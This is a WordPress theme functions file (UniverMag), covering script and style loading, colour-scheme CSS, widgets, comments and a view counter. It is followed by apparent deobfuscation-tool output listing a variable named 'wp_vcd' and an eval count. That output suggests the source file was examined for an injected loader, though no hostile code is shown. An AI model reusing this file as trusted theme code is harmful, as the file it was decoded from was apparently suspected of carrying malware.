			wp_localize_script( 'google-analytics', "ga", array( 'ga_id' => $dankovData['ga_id']) );
			wp_enqueue_script('google-analytics');
		}
	}
}

add_action('wp_footer', 'dankov_google_analytics');




/*
|--------------------------------------------------------------------------
| UniverMag scripts
|--------------------------------------------------------------------------
*/ 

function dankov_scripts_styles() {
	global $dankovData;

	$dankovURI = get_template_directory_uri();



	wp_register_script('royalslider', $dankovURI . '/assets/plugins/royalslider/jquery.royalslider.min.js', array('jquery'), null, true);
	wp_register_script('dankov-bootstrap', $dankovURI . '/assets/js/bootstrap.min.js', array('jquery'), null, true);
	wp_register_script('dankov-modernizr', $dankovURI . '/assets/js/modernizr.custom.js', array('jquery'), null, true);
	wp_register_script('dankov-jflickrfeed', $dankovURI . '/assets/js/jflickrfeed.js', array('jquery'), null, true);
	wp_register_script('dankov-prettyphoto-lightbox', $dankovURI . '/assets/js/jquery.prettyPhoto.js', array('jquery'), null, true);
	wp_register_script('dankov-retina', $dankovURI . '/assets/js/retina.min.js', array('jquery'), null, true);
	wp_register_script('dankov-viewportchecker', $dankovURI . '/assets/js/viewportchecker.js', array('jquery'), null, true);
	wp_register_script('dankov-fitvids',  $dankovURI . '/assets/js/jquery.fitvids.js', array('jquery'), null, true);
	wp_register_script('dankov-sticky-kit', $dankovURI . '/assets/js/jquery.sticky-kit.min.js', array('jquery'), null, true);
	wp_register_script('dankov-bxslider', $dankovURI . '/assets/js/jquery.bxslider.min.js', array('jquery'), null, true);
	wp_register_script('dankov-js-nav', $dankovURI . '/assets/js/jquery.nav.js', array('jquery'), null, true);
	wp_register_script('dankov-smartmenus', $dankovURI . '/assets/js/jquery.smartmenus.js', array('jquery'), null, true);
	wp_register_script('dankov-owl-carousel', $dankovURI . '/assets/js/owl.carousel.min.js', array('jquery'), null, true);
	wp_register_script('dankov-smartmenusb', $dankovURI . '/assets/js/jquery.smartmenus.bootstrap.js', array('jquery'), null, true);
	wp_register_script('dankov-main', $dankovURI . '/assets/js/main.js', array('jquery'), null, true);
	wp_register_script('symple_tabs', $dankovURI . '/assets/js/shortcodes/symple_tabs.js', array ( 'jquery', 'jquery-ui-tabs'), '1.0', true );
	wp_register_script('symple_toggle', $dankovURI . '/assets/js/shortcodes/symple_toggle.js', 'jquery', '1.0', true );
	wp_register_script('symple_accordion', $dankovURI . '/assets/js/shortcodes/symple_accordion.js', array ( 'jquery', 'jquery-ui-accordion'), '1.0', true );
	wp_register_script('symple_googlemap',  $dankovURI . '/assets/js/shortcodes/symple_googlemap.js', array('jquery'), '1.0', true );
	wp_register_script('symple_googlemap_api', 'https://maps.googleapis.com/maps/api/js?sensor=false', array('jquery'), '1.0', true );
	wp_register_script('symple_skillbar', $dankovURI . '/assets/js/shortcodes/symple_skillbar.js', array ( 'jquery' ), '1.0', true );
	wp_register_script('symple_scroll_fade', $dankovURI . '/assets/js/shortcodes/symple_scroll_fade.js', array ( 'jquery' ), '1.0', true );	


	wp_enqueue_script("jquery");
	wp_enqueue_script('royalslider');
	wp_enqueue_script('dankov-bootstrap');
	wp_enqueue_script('dankov-main');
	wp_enqueue_script('dankov-viewportchecker');
	wp_enqueue_script('dankov-fitvids');
	wp_enqueue_script('dankov-owl-carousel');
	wp_enqueue_script('dankov-modernizr');
	wp_enqueue_script('dankov-jflickrfeed');
	wp_enqueue_script('dankov-prettyphoto-lightbox');
	wp_enqueue_script('dankov-retina');
	wp_enqueue_script('dankov-sticky-kit');
	wp_enqueue_script('dankov-js');
	wp_enqueue_script('dankov-bxslider');
	wp_enqueue_script('dankov-smartmenus');
	wp_enqueue_script('dankov-smartmenusb');
	wp_enqueue_script('symple_tabs');
	wp_enqueue_script('symple_toggle');
	wp_enqueue_script('symple_accordion');
	wp_enqueue_script('symple_googlemap');
	wp_enqueue_script('symple_googlemap_api');
	wp_enqueue_script('symple_skillbar');
	wp_enqueue_script('symple_scroll_fade');



	// Loads our main stylesheet.
	wp_dequeue_style('symple_shortcode_styles');
	wp_enqueue_style( 'dankov-bootstrap', $dankovURI . '/assets/css/bootstrap.css' );
	wp_enqueue_style( 'dankov-simple-icons', $dankovURI . '/assets/css/simple-line-icons.css' );
	wp_enqueue_style( 'dankov-awesome-icons', $dankovURI . '/assets/css/font-awesome.min.css' );
	wp_enqueue_style( 'dankov-animate', $dankovURI . '/assets/css/animate.css' );
	wp_enqueue_style( 'dankov-owl-carousel', $dankovURI . '/assets/css/owl.carousel.css' );
	wp_enqueue_style( 'dankov-owl-carousel-themes', $dankovURI . '/assets/css/owl.theme.css' );
	wp_enqueue_style( 'dankov-prettyphoto', $dankovURI . '/assets/css/prettyPhoto.css' );
	wp_enqueue_style( 'dankov-bxslider', $dankovURI . '/assets/css/jquery.bxslider.css' );
	wp_enqueue_style( 'dankov-smartmenus', $dankovURI . '/assets/css/jquery.smartmenus.bootstrap.css' );
	wp_enqueue_style( 'dankov-nav', $dankovURI . '/assets/css/nav.css' );
	wp_enqueue_style( 'dankov-shortcodes-css', $dankovURI . '/assets/css/shortcodes.css' );
	wp_enqueue_style( 'dankov-buddypress-css', $dankovURI . '/assets/css/buddypress.css' );
	wp_enqueue_style( 'dankov-bbpress-css', $dankovURI . '/assets/css/bbpress.css' );
	wp_enqueue_style( 'royalslider', $dankovURI . '/assets/plugins/royalslider/royalslider.css', false, null, 'all' );
	wp_enqueue_style( 'dankov-style', get_stylesheet_uri() );
	wp_enqueue_style( 'dankov-ie', $dankovURI . '/assets/css/ie.css' );
	wp_enqueue_style( 'dankov-responsive-css', $dankovURI . '/assets/css/responsive.css' );



 	$custom_css = '';
 	if(!empty($dankovData['id_custom_css'])) {
 		$custom_css .= $dankovData['id_custom_css'];

 		wp_add_inline_style( 'dankov-style', $custom_css );
 	}	



 	/*
 |--------------------------------------------------------------------------
 | UniverMag custom scheme function
 |--------------------------------------------------------------------------*/ 

 		$color_scheme_two = '';
 		$output_scheme_two = '';
 		if((isset($dankovData['custom_color_scheme_two'])) && ($dankovData['custom_color_scheme_two'] != '')) {
 			$color_scheme_two = $dankovData['custom_color_scheme_two'];
 			$output_scheme_two = '
h1 a:hover, h2 a:hover, h3 a:hover, h4 a:hover, h5 a:hover, h6 a:hover { color: '.$color_scheme_two.';}
a:hover {color: '.$color_scheme_two.';}
.search-area form > div:before {color: '.$color_scheme_two.';}
.head-search span:hover:before {color:'.$color_scheme_two.';}
.menu-wrapper {background: '.$color_scheme_two.';}
.menu-wrapper .menu {background: '.$color_scheme_two.';}
ul#main-nav li ul li {background: '.$color_scheme_two.';}
ul#main-nav li ul li:last-child {background: '.$color_scheme_two.';}
.sub-menu {    background: '.$color_scheme_two.'; }
.posts .widget-title {border-bottom: 1px solid '.$color_scheme_two.'}
.posts .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'}
.sidebar .widget-title {border-bottom: 1px solid '.$color_scheme_two.'}
.sidebar .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'}
.sidebar-mini .widget-title {border-bottom: 1px solid '.$color_scheme_two.'}
.sidebar-mini .widget > h5 {border-bottom: 2px solid '.$color_scheme_two.'}
.sidebar a {    color: '.$color_scheme_two.'}
.sub-menu li {  background: '.$color_scheme_two.';}
.archive-tags:before {color: '.$color_scheme_two.'}
.archive-date:before {color: '.$color_scheme_two.'}
.archive-date:before {color: '.$color_scheme_two.'; }
.archive-search:before {color: '.$color_scheme_two.'; }
.archive-404:before {color: '.$color_scheme_two.'; }
.archive-category:before {color: '.$color_scheme_two.'; }
.archive-shop:before {color: '.$color_scheme_two.'; }
.post-category .active {color:'.$color_scheme_two.'; }
.left-image-post .title a:hover {color: '.$color_scheme_two.'; }
.standart-post .title:hover a,.standart-post .title:hover {color: '.$color_scheme_two.'; }
.entry-meta ul li i {color: '.$color_scheme_two.'; }
.paper-button:hover:before,.paper-button:hover:after {background: '.$color_scheme_two.'; }
.paper-button:before,.paper-button:after {color: '.$color_scheme_two.'; }
.nav-previous a:hover {background: '.$color_scheme_two.'; }
.nav-next a:hover {background: '.$color_scheme_two.'; }
.image-slider a.video-thumb:hover:before, .image-slider a.video-thumb:hover:after  {background: '.$color_scheme_two.'; }
.image-slider a.video-thumb:before {color: '.$color_scheme_two.'; }
.meta-slider i {color: '.$color_scheme_two.'; }
.link-format a:before {color:'.$color_scheme_two.';}
.button,html input[type="button"],input[type="reset"],input[type="submit"] {border-color: '.$color_scheme_two.'; background: '.$color_scheme_two.';}
button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover {color: '.$color_scheme_two.';}
.logged-in-as a {color: '.$color_scheme_two.';}
.author-card {color: '.$color_scheme_two.';}
.comment-reply-link {color: '.$color_scheme_two.';}
.widget_search form > div:before {color: '.$color_scheme_two.';}
.tagcloud a {background: '.$color_scheme_two.';}
.tagcloud a:hover {color: '.$color_scheme_two.' !important; }
.tweet_list li:before {color: '.$color_scheme_two.';}
.tweet_text a {color: '.$color_scheme_two.';}
.dankov_post_content a:hover {    color: '.$color_scheme_two.';}
.dankov_post_meta i {color: '.$color_scheme_two.';}
.footer-widget .dankov_post_meta i {color: '.$color_scheme_two.';}
.footer-area .tagcloud a {background: '.$color_scheme_two.';}
.footer-area .tagcloud a:hover {color: '.$color_scheme_two.' !important; border:1px solid '.$color_scheme_two.';}
.login-panel:hover i{color: '.$color_scheme_two.';}
.slider-text h3 a:hover { color: '.$color_scheme_two.'}
.rsBlock-meta li i {color: '.$color_scheme_two.';}
.owl-theme .owl-controls .owl-buttons div{background: '.$color_scheme_two.';}
.owl-theme .owl-controls .owl-page span{background: '.$color_scheme_two.';}
#buddypress button,#buddypress a.button,#buddypress input[type=submit],#buddypress input[type=button],#buddypress input[type=reset],#buddypress ul.button-nav li a,#buddypress div.generic-button a,#buddypress .comment-reply-link,a.bp-title-button {border-color: '.$color_scheme_two.';background: '.$color_scheme_two.';}
#buddypress .comment-reply-link, #buddypress a.button, #buddypress button, #buddypress div.generic-button a, #buddypress input[type=button], #buddypress input[type=reset], #buddypress input[type=submit], #buddypress ul.button-nav li a, a.bp-title-button {border-color: '.$color_scheme_two.';background: '.$color_scheme_two.';}
#buddypress button:hover,#buddypress a.button:hover,#buddypress a.button:focus,#buddypress input[type=submit]:hover,#buddypress input[type=button]:hover,#buddypress input[type=reset]:hover,#buddypress ul.button-nav li a:hover,#buddypress ul.button-nav li.current a,#buddypress div.generic-button a:hover,#buddypress .comment-reply-link:hover {border-color: '.$color_scheme_two.';color: '.$color_scheme_two.';}
#buddypress div.item-list-tabs ul li.selected a,#buddypress div.item-list-tabs ul li.current a {background-color: '.$color_scheme_two.';}
#buddypress div.item-list-tabs#subnav ul li.feed a {color:'.$color_scheme_two.';}
#buddypress ul.item-list li div.item-title a { color: '.$color_scheme_two.';}
#buddypress .activity-header a,#buddypress .comment-meta a,#buddypress .acomment-meta a {color: '.$color_scheme_two.';}
.bbp-forum-info a {color: '.$color_scheme_two.';}
.bbp-body .bbp-topic-title > a {color: '.$color_scheme_two.';}
.button.logout-link {color: '.$color_scheme_two.';}';


 			wp_add_inline_style( 'dankov-style', $output_scheme_two );	
 		} 

			
}

add_action( 'wp_enqueue_scripts', 'dankov_scripts_styles' );



/*
|--------------------------------------------------------------------------
| UniverMag title
|--------------------------------------------------------------------------
*/ 

function dankov_wp_title( $title, $sep ) {
	global $paged, $page;

	if ( is_feed() )
		return $title;

	// Add the site name.
	$title .= get_bloginfo( 'name', 'display' );

	// Add the site description for the home/front page.
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) )
		$title = "$title $sep $site_description";

	// Add a page number if necessary.
	if ( $paged >= 2 || $page >= 2 )
		$title = "$title $sep " . sprintf( __( 'Page %s', 'dankov' ), max( $paged, $page ) );

	return $title;
}
add_filter( 'wp_title', 'dankov_wp_title', 10, 2 );


/*
|--------------------------------------------------------------------------
| HEX to RGB function
|--------------------------------------------------------------------------
*/ 
function dankov_hex2rgb($hex) {
   $hex = str_replace("#", "", $hex);

   if(strlen($hex) == 3) {
      $r = hexdec(substr($hex,0,1).substr($hex,0,1));
      $g = hexdec(substr($hex,1,1).substr($hex,1,1));
      $b = hexdec(substr($hex,2,1).substr($hex,2,1));
   } else {
      $r = hexdec(substr($hex,0,2));
      $g = hexdec(substr($hex,2,2));
      $b = hexdec(substr($hex,4,2));
   }
   $rgb = array($r, $g, $b);
   return implode(",", $rgb); // returns the rgb values separated by commas
}


/*
|--------------------------------------------------------------------------
| UniverMag page menu
|--------------------------------------------------------------------------
*/ 

function dankov_page_menu_args( $args ) {
	if ( ! isset( $args['show_home'] ) )
		$args['show_home'] = true;
	return $args;
}
add_filter( 'wp_page_menu_args', 'dankov_page_menu_args' );


/*
|--------------------------------------------------------------------------
| UniverMag widgets
|--------------------------------------------------------------------------
*/ 

function dankov_widgets_init() {
	register_sidebar( array(
		'name' => __( 'Main Sidebar', 'dankov' ),
		'id' => 'sidebar-1',
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<div class="widget-line"><h3 class="widget-title">',
		'after_title' => '</h3></div>',
	) );

	register_sidebar( array(
		'name' => __( 'Header Place', 'dankov' ),
		'id' => 'header-banner',
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<div class="widget-line"><h3 class="widget-title">',
		'after_title' => '</h3></div>',
	) );

	register_sidebar( array(
		'name' => __( 'Mini Sidebar', 'dankov' ),
		'id' => 'sidebar-mini',
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<div class="widget-line"><h3 class="widget-title">',
		'after_title' => '</h3></div>',
	) );

	register_sidebar( array(
		'name' => __( 'Footer Sidebar 1', 'dankov' ),
		'id' => 'footer-1',
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );


	register_sidebar( array(
		'name' => __( 'Footer Sidebar 2', 'dankov' ),
		'id' => 'footer-2',
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );

	register_sidebar( array(
		'name' => __( 'Footer Sidebar 3', 'dankov' ),
		'id' => 'footer-3',
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );

	register_sidebar( array(
		'name' => __( 'Footer Sidebar 4', 'dankov' ),
		'id' => 'footer-4',
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );

	register_sidebar( array(
		'name' => __( 'BuddyPress Sidebar', 'dankov' ),
		'id' => 'buddypress',
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget' => '</aside>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );
}

add_action( 'widgets_init', 'dankov_widgets_init' );
add_action( 'widgets_init', 'dankov_widgets_register' );

/*
|--------------------------------------------------------------------------
| UniverMag content navigation
|--------------------------------------------------------------------------
*/ 

if ( ! function_exists( 'dankov_content_nav' ) ) :

function dankov_content_nav( $html_id ) {
	global $wp_query;

	$html_id = esc_attr( $html_id );

	if ( $wp_query->max_num_pages > 1 ) : ?>
		<nav id="<?php echo $html_id; ?>" class="navigation" role="navigation">
			<div class="nav-previous"><?php next_posts_link( '<span class="meta-nav">&larr;</span>'.__('Older posts', 'dankov' ) ); ?></div>
			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts', 'dankov' ) . '<span class="meta-nav">&rarr;</span>' ); ?></div>
		</nav><!-- #<?php echo $html_id; ?> .navigation -->
	<?php endif;
}
endif;



/*
|--------------------------------------------------------------------------
| UniverMag comments
|--------------------------------------------------------------------------
*/ 

if ( ! function_exists( 'dankov_comment' ) ) :
function dankov_comment( $comment, $args, $depth ) {
	$GLOBALS['comment'] = $comment;
	switch ( $comment->comment_type ) :
		case 'pingback' :
		case 'trackback' :
	?>
	<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
		<p><?php _e( 'Pingback:', 'dankov' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( 'Edit', 'dankov' ), '<span class="edit-link">', '</span>' ); ?></p>
	<?php
			break;
		default :
		global $post;
	?>
	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
		<article id="comment-<?php comment_ID(); ?>" class="comment">
			<header class="comment-meta comment-author vcard">
				<?php
					echo get_avatar( $comment, 75 );
					printf( '<div class="author-card">%1$s</div>',
						get_comment_author_link(),
						( $comment->user_id === $post->post_author ) ? '<span>' . __( 'Post author', 'dankov' ) . '</span>' : ''
					);
					printf( '<div class="comment-time">%3$s</div>',
						esc_url( get_comment_link( $comment->comment_ID ) ),
						get_comment_time( 'c' ),
						sprintf( __( '%1$s at %2$s', 'dankov' ), get_comment_date(), get_comment_time() )
					);
				?>
			</header>

			<?php if ( '0' == $comment->comment_approved ) : ?>
				<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'dankov' ); ?></p>
			<?php endif; ?>

			<section class="comment-content comment">
				<?php comment_text(); ?>
				<?php edit_comment_link( __( 'Edit', 'dankov' ), '<div class="edit-link">', '</div>' ); ?>
				<div class="reply">
					<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'dankov' ), 'after' => '', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
				</div><!-- .reply -->
			</section><!-- .comment-content -->
		</article><!-- #comment-## -->
	<?php
		break;
	endswitch; // end comment_type check
}
endif;




/*
|--------------------------------------------------------------------------
| UniverMag post types and functions
|--------------------------------------------------------------------------
*/ 

function dankov_setup() {

	load_theme_textdomain( 'dankov', get_template_directory() . '/lang' );
	add_editor_style();

	add_theme_support( 'automatic-feed-links' );

	add_theme_support( 'post-formats', array( 'image', 'link', 'quote', 'video', 'audio', 'gallery' ) );
	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 680, 9999 ); // Unlimited height, soft crop
}
add_action( 'after_setup_theme', 'dankov_setup' );




// post by views functionality
function dankov_set_post_views($postID) {
    $count_key = 'dankov_post_views_count';
    $count = get_post_meta($postID, $count_key, true);
    if($count==''){
        $count = 0;
        delete_post_meta($postID, $count_key);
        add_post_meta($postID, $count_key, '0');
    }else{
        $count++;
        update_post_meta($postID, $count_key, $count);
    }
}

function dankov_track_post_views ($post_id) {
    if ( !is_single() ) return;
    if ( empty ( $post_id) ) {
        global $post;
        $post_id = $post->ID;    
    }
    dankov_set_post_views($post_id);
}
add_action( 'wp_head', 'dankov_track_post_views');

function dankov_get_post_views($postID){
    $count_key = 'dankov_post_views_count';
    $count = get_post_meta($postID, $count_key, true);
    if($count==''){
        delete_post_meta($postID, $count_key);
        add_post_meta($postID, $count_key, '0');
        return "0";
    }
    return $count;
}


/*-----------------------------------------------------------------------------------*/
/*	Other Functions
/*-----------------------------------------------------------------------------------*/

add_filter( 'woocommerce_show_page_title' , 'dankov_woo_hide_page_title' );
function dankov_woo_hide_page_title() {
	
	return false;
	
}

	add_filter('loop_shop_columns', 'loop_columns');
		if (!function_exists('loop_columns')) {
			function loop_columns() {
				return 2; // 3 products per row
			}
		}

	add_filter('loop_shop_per_page', create_function('$cols', 'return 12;'));

function dankov_theme_custom_background () {
	global $dankovData;



		$bg_size       =  ( isset($dankovData['boxed_background']['background-size']) && $dankovData['boxed_background']['background-size'] != '' ) ? 'background-size: '. $dankovData['boxed_background']['background-size'] . ";\n" : null;
		$bg_color      =  ( isset($dankovData['boxed_background']['background-color']) && $dankovData['boxed_background']['background-color'] != '' ) ? 'background-color: ' .$dankovData['boxed_background']['background-color'] . ";\n" : null;
		$bg_image      =  ( isset($dankovData['boxed_background']['background-image']) && $dankovData['boxed_background']['background-image'] != '' ) ? 'background-image: url("' . $dankovData['boxed_background']['background-image'] . '")' . ";\n" : null;
		$bg_repeat     =  ( isset($dankovData['boxed_background']['background-repeat']) && $dankovData['boxed_background']['background-repeat'] != '' ) ? 'background-repeat: ' . $dankovData['boxed_background']['background-repeat'] . ";\n" : null;
		$bg_position   =  ( isset($dankovData['boxed_background']['background-position']) && $dankovData['boxed_background']['background-position'] != '' ) ? 'background-position: ' . $dankovData['boxed_background']['background-position'] . ";\n" : null;
		$bg_attachment =  ( isset($dankovData['boxed_background']['background-attachment']) && $dankovData['boxed_background']['background-attachment'] != '' ) ? 'background-attachment: ' . $dankovData['boxed_background']['background-attachment'] . ";\n" : null;

		echo "<style>\n";
			echo "body {\n";
				if ($bg_size) echo "\t" . $bg_size;
				if ($bg_color) echo "\t" . $bg_color;
				if ($bg_image) echo "\t" . $bg_image;
				if ($bg_repeat) echo "\t" . $bg_repeat;
				if ($bg_position) echo "\t" . $bg_position;
				if ($bg_attachment) echo "\t" . $bg_attachment;
			echo "}\n";
		echo "</style>\n";

}

add_filter('wp_list_categories', 'dankov_add_span_cat_count'); 
function dankov_add_span_cat_count($links) { 
$links = str_replace('</a> (', '</a> <span class="oi_cat_count">', $links); 
$links = str_replace(')', '</span>', $links); 
return $links; 
}



function dankov_widgets_register () {
/**
 * Archives widget class
 *
 * @since 2.8.0
 */

class WP_Widget_Archives_Modified extends WP_Widget {

    public function __construct() {
            $widget_ops = array('classname' => 'widget_archive', 'description' => __( 'A monthly archive of your site&#8217;s Posts.', 'dankov') );
            parent::__construct('archives', __('Archives', 'dankov'), $widget_ops);
    }

    public function widget( $args, $instance ) {
            $c = ! empty( $instance['count'] ) ? '1' : '0';
            $d = ! empty( $instance['dropdown'] ) ? '1' : '0';

            /** This filter is documented in wp-includes/default-widgets.php */
            $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives', 'dankov' ) : $instance['title'], $instance, $this->id_base );

            echo $args['before_widget'];

            if ( $title ) {
                    echo $args['before_title'] . $title . $args['after_title'];
            }

            if ( $d ) {
?>
            <select name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'>
                    <option value=""><?php echo esc_attr( __( 'Select Month', 'dankov' ) ); ?></option>

                    <?php
                    /**
                     * Filter the arguments for the Archives widget drop-down.
                     *
                     * @since 2.8.0
                     *
                     * @see wp_get_archives()
                     *
                     * @param array $args An array of Archives widget drop-down arguments.
                     */

                    wp_get_archives( apply_filters( 'widget_archives_dropdown_args', array(
                            'type'            => 'monthly',
                            'format'          => 'option',
                            'show_post_count' => $c
                    ) ) );
?>
            </select>
<?php
            } else {
?>
            <ul>
<?php
            /**
             * Filter the arguments for the Archives widget.
             *
             * @since 2.8.0
             *
             * @see wp_get_archives()
             *
             * @param array $args An array of Archives option arguments.
             */

            ob_start();
            wp_get_archives( apply_filters( 'widget_archives_args', array(
                    'type'            => 'monthly',
                    'show_post_count' => $c
            ) ) );
            $wgarchs = ob_get_clean();
            $wgarchs = str_replace('</a>&nbsp;(','</a> <span class="oi_cat_count">', $wgarchs); 
            $wgarchs = str_replace(')', '</span>', $wgarchs);
            echo $wgarchs;
?>
            </ul>
<?php
            }

            echo $args['after_widget'];
    }

    public function update( $new_instance, $old_instance ) {
            $instance = $old_instance;
            $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
            $instance['title'] = strip_tags($new_instance['title']);
            $instance['count'] = $new_instance['count'] ? 1 : 0;
            $instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;

            return $instance;
    }

    public function form( $instance ) {
            $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
            $title = strip_tags($instance['title']);
            $count = $instance['count'] ? 'checked="checked"' : '';
            $dropdown = $instance['dropdown'] ? 'checked="checked"' : '';
?>
            <p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'dankov'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
            <p>
                    <input class="checkbox" type="checkbox" <?php echo $dropdown; ?> id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>" /> <label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e('Display as dropdown', 'dankov'); ?></label>
                    <br/>
                    <input class="checkbox" type="checkbox" <?php echo $count; ?> id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>" /> <label for="<?php echo $this->get_field_id('count'); ?>"><?php _e('Show post counts', 'dankov'); ?></label>
            </p>
<?php
    }
}

	register_widget('WP_Widget_Archives_Modified');

}

function dankov_MenuFallback ($args) {
	echo '<ul id="main-nav" class="sf-menu dl-menu sf-js-enabled sf-arrows"><li id="menu-item-68" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-68"><a href="'. get_home_url() .'">' . __('Home', 'dankov') . '</a></li></ul>';
}

Function Calls

function_exists 1

Variables

$funcfile index.php
$div_code_name wp_vcd

Stats

MD5 15331957d352397bf4166d80e8b715f0
Eval Count 0
Decode Time 270 ms